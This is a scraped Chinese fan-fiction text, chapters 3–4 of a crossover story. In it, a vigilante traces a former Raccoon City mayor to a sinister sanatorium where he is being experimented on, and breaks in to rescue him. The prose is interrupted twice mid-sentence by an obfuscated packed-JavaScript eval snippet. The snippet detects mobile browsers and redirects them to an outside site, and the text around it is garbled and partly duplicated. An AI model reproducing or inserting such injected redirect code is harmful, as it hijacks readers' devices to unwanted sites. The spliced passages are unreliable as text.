《[综英美]金发分头就一定是里昂吗》 3. 第3章 深夜里下过一场淅淅沥沥又绵密的小雨,清晨微凉,空气里泛着晦涩的草木气息。 丽兹手插在口袋里,呵出白气。 她正站在距离FBI中西部分局几百米外的观光广场上,目送着因赖床晚起即将迟到的格蕾丝冲了进去。 随后,她拿出完成配对的旧式手机,塞上耳塞开始日常电话监听。 听了一会儿,内容都是些日常问候和工作琐事,她便不再集中精神,却也没有摘下,纯当播客一样挂在耳边听。 她朝着宽阔的广场中心里的餐车走去,打算买一份三明治当早饭。 在任务之外她对自己一向不错,三餐努力正常,尽力保持高质量睡眠,丰富兴趣爱好。 可惜,实际上的情况是隐痛的胃,眼下的青黑和仓库里堆积的灰。 因为总有绵绵不断的号码和救不完的人。 拎着大包装袋,丽兹挑了一个长椅坐下,身体往后靠着舒坦了一口气,回想起刚刚和餐车老板要热美式时对方那个诧异的表情和一边做三明治一边频频看过来的动作,她就想笑。 一口咬下,还没完全品味到多加芝士片和番茄酱配上冷切肉片组合在一起的无敌爆炸口感,叮铃铃的声音从不远处传来。 丽兹呛了一下,循声侧目看向五十米外的一处公用电话亭。 缓了一口气,她勾起手指揩掉嘴角的酱汁,挑眉看向灯杆上的公共摄像头。 “吃完这半个三明治最多不超过一刻钟?”她隔空说话,语气亲切如同和朋友交谈。 回答她的只有红点闪烁。 电话亭不停歇的铃声已经吸引到路人,甚至有人犹豫着慢下脚步。 注意到这一幕的丽兹投降地举起手,把手里的三明治胡乱一裹塞回袋子,赶忙快步走过去,几乎是抢着拿下话筒接听。 机械的播报音在耳边响起:“飞鸟、草药、苹果汁......” 她掏出本子和笔,咬下笔盖匆忙记下,播报完毕后自动跳转忙音的话筒卡在脖颈边。丽兹回过神垂眼看着纸上记下的单词,发觉数量达到十几个。 按照经验,至少不会是一个号码。 一个小时后,从广场前往市图书馆再辗转回到家中的丽兹看着电脑屏幕上两个人的信息: 迈克尔·沃伦,90岁,归国特聘工程师。 铃木洋子,49岁,人道主义者,曾是联合国儿童基金会的形象大使。 机器只会给号码,号码本人所有的一切都需要人自己去查找。 两个人中,迈克尔·沃伦要出名的多,他是浣熊市的最后一任市长。 是让浣熊市这座落后偏僻的山区小镇发展成为工业城市的核心人物,也同样是让它陷入安布雷拉公司掌控从而被摧毁陨落的推手。 网络上存留的大量报道和议论足够让丽兹推测这位前市长可能会遭遇的威胁——或许是来自浣熊市其他幸存者的报复呢? 她查到这位极富争议的前市长目前在隔壁邻市的鹳木市夜谷养老院居住,而另一位查不到更多有用信息的铃木洋子她只能暂时搁置。 不过,能一起出现的号码总归存在某种联系或者相同特征。找到沃伦没准也能得到一些关于铃木洋子的线索。 站在线索板前,用白笔将铃木洋子与沃伦连在一起并画了一个问号。 之后,她打电话到养老院,然而却被告知沃伦因身患重症已转到一家慢性病护理中心进行治疗。 “哪里?”丽兹眯了下眼,在感受到话筒里人的迟疑后,她立刻转换了语气,表现的懊恼又恳切,“抱歉,还没介绍我自己。沃伦先生在俄国时期慷慨资助过很多学生,我就是其中之一,现在正和同学毕业旅行,得到沃伦先生在养老院的消息后就想和他见面感谢他的资助。请问,能否给我一个机会,毕竟沃伦先生年龄很大了,或许......这将是我们最后一面,可以吗?” 不管对方信了还是没信,最终还是给了名字。 罗兹山慢性病疗养院。 丽兹打开地图搜索,疗养院的位置位于鹳木市北部的郊区,手指在屏幕上轻轻滑动,她无意间被旁边起伏的圆弧痕迹吸引,按住缩小后,卫星影像下是个巨大的坑洞。地图没有显示和标记那处存在的名字,但丽兹知道,那应该是浣熊市。 知道地址后她快速买了一张下午一点抵达鹳木市的火车票,紧接着就给手机里备注“应急一号”的联络人打过去电话,她需要有人在她不在的时候盯着这里。 接通后对方还没说话,丽兹就开口:“从现在开始,带着你的''朋友们''24小时密切注意观光广场到第十六步行街这片区域的动静,遇到任何问题去打 911。” “没有骚动,没有人受伤,我希望一切保持正常。”说完,丽兹又补充了一句。 “你在开什么玩笑!我他妈是不是还在做梦?”应急一号大声说,“见鬼的——你知不知道观光广场是什么地方?那是FBI门口,到处都是他们的人?!你有什么毛病啊,居然让我去报警,不如我现在去警局自首好了!还要一切正常,你怎么不干脆买个牌子写着和平主义套在我头上!F**k!F**k!” 丽兹把手机拿远一点。 对面还在持续着含有大量脏话炮轰般的抱怨,她转身来到餐桌边放下手机,开始操作电脑锁定程序。 “你可以拒绝,我不介意换人来帮忙。”忍耐了一分钟,丽兹说。 带有警告的话语让应急一号瞬间噤声,沉默了一会儿他憋屈地声音又响起:“…到什么时候,不会一直这样吧?” “暂时到后天…如果我没有回来,就继续。”丽兹关闭电脑,拿起手机一边走一边说。 她来到次卧门口按下开关,白炽灯一瞬照亮了整个房间。 原本的家具都被她找人处理掉,只留下纯粹的空间用来存放物品,房间里最显眼的是三块巨大的线索板竖立叠放,丽兹走向旁边的木箱。 应急一号还是不太乐意,可因为顾忌丽兹语气小心翼翼的,他暗示道:“你知道的,要是一直不干活,底下的人也会把我干掉,我要是死了,谁帮你干这些助人为乐的事呢…对不对?” “你本来该是个死人,弗兰克。”丽兹平静的语气里带着不耐烦,她站定在原地对着话筒对面的人极其认真地表态,“你的老大派你抢''西班牙人''的东西你就知道他是让你去送死,而我刚好路过救了你。我其实并不喜欢雇佣帮派,奈何丹佛的坏蛋太多好人受欺负,而你被夹在其中,不算好人又不算太坏,还有点小聪明。我需要的你这样的,但不是找不到,所以珍惜机会。” 弗兰克没敢再吭声。 “记住是24小时。”丽兹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398772|200399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重申一遍后挂掉电话,打开木箱开始挑拣出行装备。 ...... 下午接近两点,丽兹站在华丽如博物馆一般的疗养院铁门外。 就在刚刚,她被罗兹山疗养院接待处的护士请了出来,理由是没有预约和特殊申请许可。 哪怕她再诚恳故事编的再动人,对方也不为所动,甚至警告继续纠缠将呼叫保安。 丽兹只好微笑着主动离开。 这家疗养院太不对劲了,偏僻不说,气氛冰冷,人员也神神秘秘。更诡异的是掌控这里的人好像压根不在乎有人觉得它不对劲,简直就是跳到脸上蹦哒着表示“我有问题快来调查我”。 丽兹轻飘飘地扫过疗养院正面,目光停留一瞬在玻璃窗上投影着来回走动的黑色模糊身影上,注意到黑影停顿下了随即收回视线假装离开。 她走远一段距离,停留在一处小树林后拿出口袋里一直攥紧的手机。 和接待护士交谈时,她就完成了拷贝对方的手机,过往通话信息,邮件来往一览无余。 护士名为安西娅,是疗养院新来的职工兼前台接待。和家人朋友的短信里提到她对疗养院的高薪的满意,以及每周只能周末回家的抱怨。 大量的短信不断点开扫过退出,翻到底丽兹除了知道安西娅护士是鹳木市本地人,父母双全,有个未婚夫,近期养仓鼠的计划因为工作无限延期,疗养院的规矩严格外没能找到有关沃伦的消息。 她转而查看邮件,结果因为安西娅是新员工,邮箱里寥寥几封内容不是入职通知就是疗养院守则及相关保密协议。 丽兹略感头痛地敲了敲脑门,有些后悔刚刚走出来的时候没有多复制几个人的手机。 就在她犹豫接下来走正规途径进入疗养院还是走捷径,比如四处看看怎么潜入这座有着不低安保程度的洋馆,这时候自动连接的手机麦克风响起嘈杂断续的说话声: “......3号病房病人苏醒,可以通知院长......院长特地关照......” “住院部的人离院长办公室更近,让她们去通知好了......” “住院部有自己的事情,快去吧!” “是上周转过来的病人?” “是的,这么说就行,院长知道是谁。” ...... 真是打了瞌睡有枕头,正是时候! 丽兹立刻想到邮箱里的守则,果不其然在疗养院背景介绍里找到了部门楼层的位置。 住院部在二楼,她回忆了下疗养院那巴洛克混搭哥特可能还掺和点别的什么的建筑风格。 顿时觉得比起现代医疗建筑密密麻麻如同网格一样排列简洁实际在没有楼层地图指示难以寻找目标的情况,疗养院堪比艺术馆的造型其实从外观上就能分辨部门属性 整座洋馆看似复杂实则构造简单,不过三层,中间主体为楼梯,两边是侧翼塔楼,那里很大概率被设置成住院部,不是左边就是右边,就看她的运气程度能不能一次抽中。 想到洋馆的高度,还有洋馆庭院两边莫名其妙却各种植的一棵正好能遮蔽视野的高大植物,丽兹默默的掏出背包里的绳索,往身上一挂,重新返回疗养院。 现在,她开始希望这种似乎是上个世纪的遗留产物为了美观最好没有安装现代防护电网。 4. 第4章 丽兹右手紧紧扶着树干,指头和脚趾都在用力,她试图将自己牢牢扎根在蹲着的粗枝上,汗液不断渗出浸润鬓角,可她完全顾不得擦拭,而是另一只手拿着望远镜扫视着塔楼二层窗户。 依仗着大概是某种热带植物宽大的叶片遮挡,她隐藏在繁茂的枝丛里,没有目的的来回搜寻着可疑的痕迹,终于在一幕画面跃入视野,发现了情况。 那是一个令人感到怪异的背影,挡住了视野里窗户的大部分面积,但丽兹仍然瞟见被背影遮挡住的人露出的头。 食指滑动调整焦距,拉近视野的那一刻丽兹也差不多看清病房里的情形,似乎只有背影和病床的病人,将其和脑海中迈克尔·沃伦的模样进行比对,随后她缓缓吐出一个词: “Jackpot。” 还真让她一次就找到了。 虽然不知道病床上的人得了什么重病,一副面色灰败行将朽木的样子,但勉强能将一些面部特征和照片里光鲜亮丽的归国工程师宣传照片匹配得上。 疑似沃伦的人脖颈和颌骨有大量黑色的痕迹,让丽兹觉得都这样了,这家怪异的疗养院连基础病人护理这种表面工夫都做,是怎么通过医疗补助中心的定期监察?还是沃伦比较特殊?难不成这就是他遭遇的威胁?从养老院转到奇怪的疗养院后被人虐待? 丽兹一时脑洞大开。 不过既然确定了目标,就可以展开行动了。 首先当然是接近塔楼的病房,她并不打算走常规道路,比如爬下树再靠近塔楼攀爬什么的。 她估算了一下树和塔楼之间的距离,又看了下塔楼外壁遍布的凸起石块,很快有了主意。 她改变了姿势,慢慢弓起身将自己贴近树干,抓住向上的枝干往上又爬了一段。 确认新落脚点的稳固且处于与塔楼二到三层的齐平位置后,她才呼出一口气,用袖口抹去额头密集的汗珠。 这种一边要小心移动避免动静过大引来察觉一边要集中精神,再加上本身非常消耗体能的行为让她微微有点晕眩。 丽兹将头依靠在粗大结实的树干上,吸气,再吐气,循环几遍让急促的呼吸平复下,接着她将身上的挂绳取下来。 她抖动着又轻甩绳子绕着树主躯干一圈打了个结,拽一拽确定不会松开后又从工装裤的口袋里掏出一个精致的金属器械,并将其快速展开拼合成了一个小型钩爪。 她拎起小钩爪抖了抖,嘴角扬起满意的弧度,这小玩意当然比不了一般钩爪的稳定,但胜在便携和坚固度并不差,充当应急工具完全没问题。 将绳索和钩爪缠绕并打了死结后,她瞄准塔楼三层也是顶楼天台的位置用力甩出拼合出的钩绳,一次即中但拽了拽发现钩爪松动随即胳膊猛地抽动一甩,借用振动将钩爪彻底震出回收。 整个过程她的眼角余光始终注意着四周,确定刚刚的行为没有引起察觉又调整位置再次尝试。 顺利将钩绳搭上三层楼顶边缘,丽兹将腿侧的甩棍抽出绕着绳子做了个动态的滑索,双手握住甩棍两端拉紧了绳子。 深呼吸,再深呼吸,在第三次呼吸后猝然向半空一跃。 拼劲全身的力量尽力让甩棍滑索往塔楼的方向靠近,在感受到重力的牵引往下坠的时候,刹那松手,一只手抓紧滑索中心,剧烈疼痛一下子让她被逼出生理性泪花,她像被吊起来缀在塔楼和热带树木之间,而这时候松开的手反过来已经拿着匕首割断了绳子。 断裂的绳子带来的惯力让她猛地冲到了塔楼外壁上。 或者说是砸在了上面。 电石火花之间丽兹只能凭感觉控制自己不是朝着塔楼的窗户砸过去,而是窗户与窗户之间的石壁,她的双脚向前减缓了冲击力,但整个人又感觉浑身被麻痹了一样,差点没抓住钩绳。 与此同时头顶传来了物体崩裂的声音。 她估计是小型钩爪彻底报废,赶忙抓紧伸手抓住扣紧了凸起石块,身体完全贴合外壁,两脚踩在外壁其他可以支撑的凸起部分,将自己改为挂在了塔楼外壁之上。 人是过来了,这种抵达方式的后遗症也很快发作,让丽兹面部扭曲龇牙咧嘴了好一会儿。 她觉得刚刚那一下,脚部哪里说不定有轻微骨裂,反正就是很痛,痛得她右眼又开始湿润。 缓着痛劲的时候又微微懊恼刚刚的冲动的选择,转念一想又觉得自己这样总比某些如果面临同样的情况只会选择直接跳过去的人要“安全”和“正常”。 幸好疗养院地处偏僻,幸好塔楼是侧翼位置,不然就以现在她扒在石壁的样子肯定又糗又显眼。 又缓了一会儿,丽兹抽着气将被甩棍滑索缠绕得麻木的手解脱下,又眼疾嘴快一口叼住松落的甩棍,甩了甩手,发现快肿了一圈,但好在活动没有太大问题。 将钩绳回收,小型钩爪果然崩裂掉几块,变得松松垮垮,将其合拢收束随手塞入到口袋中,收拾掉痕迹,丽兹开始找刚刚病房的位置。 结果发现自己幸运的落在了病房的右侧宽大石壁的右端。她向后伸长了脖子瞄到挡住窗户的奇怪身影还没离开,她得等到对方走掉才能悄悄进入到病房并确认沃伦的身份。 而这个的距离,入侵程序能近距离拷贝病房任何一个人的信息。 丽兹希望病房里那个奇怪身影带来手机。 从上衣口袋拿出手机,很快就完成了复制,她也知道了背影的名字,维克多·基甸。 打开手机麦克风开始监听,丽兹听到的首先是激烈的喘气咒骂和低缓柔滑如某种爬行生物一般的声音。 丽兹慢慢皱起眉。 “你......咳咳,你到底给我用了什么药物,我怎么会,怎么会变成这样......咳咳——呕.......” “放轻松,只是药物反应而已。” “不对,这不对——好痛,为什么会这么痛——啊啊啊!” “好吧告诉我,除了疼痛还有什么。” “.....呜啊——呕噢噢——” “咳血反应加剧......看了进入到新阶段后,除了器官开始衰败,导致的连锁反应也会出现外显症状。唔......应该是第三阶段吧,不知道会不会有第四阶段,但看他的反应是撑不到的......要再找下一个吗?当年浣熊市幸存的人有不少居住在鹳木市......” 信息量巨大且情况紧迫,就在丽兹犹豫要不要闯进去时,她又听到维克多·基甸走动的声音,房间的门被打开再关闭,并且对方正通过内部无线电呼叫人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398773|200399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “3号病房的人没什么作用了,想研究的人允许两天时间,通过内部申请,但需要提交一份研究报告。” “好的,基甸医生。请问有什么其他需要注意的地方吗?” “给他打镇痛吧,有点过于吵闹,结束后可以开始标准程序处理。” “好的。院长先生在办公室等您,似乎又是CMS那边的事。” “好吧,我这就过去。” 关掉麦克风,丽兹等不及再整理那些信息,快速向病房移动着,用甩棍从外部撬开窗户门栓,推开后从窗台落下,四周看了看,先往门口病房靠近,贴近听外面似乎暂时没什么动静,于是反锁了房间的门。 这才转过身看向病床的老人。 和望远镜视角下的观察不一样,近距离接触才觉得病床上的人模样惨烈,只能说是一片枯槁,干瘪瘦弱得好像只剩下骨头,嘴角铺开蔓延的血液撒的到处都是。而之前看到的黑色的痕迹原来不是什么污垢,而是皮肤本身增长的如同藤蔓一般形状的增生组织物,看上去就很诡异,人体本身增长的组织物一般不是肤色本身就是肉色,黑色的看起来就很不详。 丽兹走近,拍了拍因疼痛几近意识迷失的人,“醒醒——” 大概因为触碰,对方猛然睁眼,瞳孔紧缩,然后在身体抽动反应下弹跳了一下,然后茫茫然转头看向丽兹。 丽兹此时觉得就算对方不是迈克尔·沃伦,她也不能就这样放任不管。 她试探性的询问:“迈克尔·沃伦?” 对方毫无反应,在丽兹靠的更近,试图把他扶起来,那只变得像木柴一样的手一瞬间抓住了丽兹的胳膊,在她打了个激灵下,声音嘶哑如锯木。 “......你是谁?” 丽兹瞟了一眼被抓住的胳膊,忍耐着想要甩开的欲望,给了个似是而非的回答:“谁也不是。” 与此同时,在这个枯朽老人反问的话语中她也确认了对方应该就是饱受议论又或者臭名昭著的前市长先生,想了下补充道,“至少不是把你弄到这里来做观察小白鼠实验的人。” 话音刚落,迈克尔·沃伦激动起来,抓着丽兹胳膊晃动,“救、救我——太痛——” 他哽住控制不住地抽搐了一下,口齿开始不清,但不知道哪里来的执念,让他坚持说完后面的话:“太痛了,但我想活,求你了,求你救我,救我......痛,好痛......” 那双似乎清醒过来的眼睛又变得浑浊起来,似乎呼救的那几声已经耗费了他仅剩的意志,胳膊上的手抓不住一般松开并滑落。 老人望着丽兹,眼泪爬过脸上的沟壑,落在被褥上,将红与白晕染在一起。 “太痛了......痛......”他喃喃的重复着,颤抖,抽搐,凝望。 丽兹沉默片刻后收回手垂落身侧,看着他缓声道:“我正是为此而来。” …… 20分钟后,火警铃声在整个疗养院炸开的锅一样响彻云霄。 似乎是某间病房烧起来了,住院部的通道不知为何弥漫浓烟。 在混乱中,一道穿着白大褂戴帽子口罩的身影推着一张挂着吊瓶盖着白布的移动病床跟随着其他一起转移病人的医生护士们一起,往一楼撤离。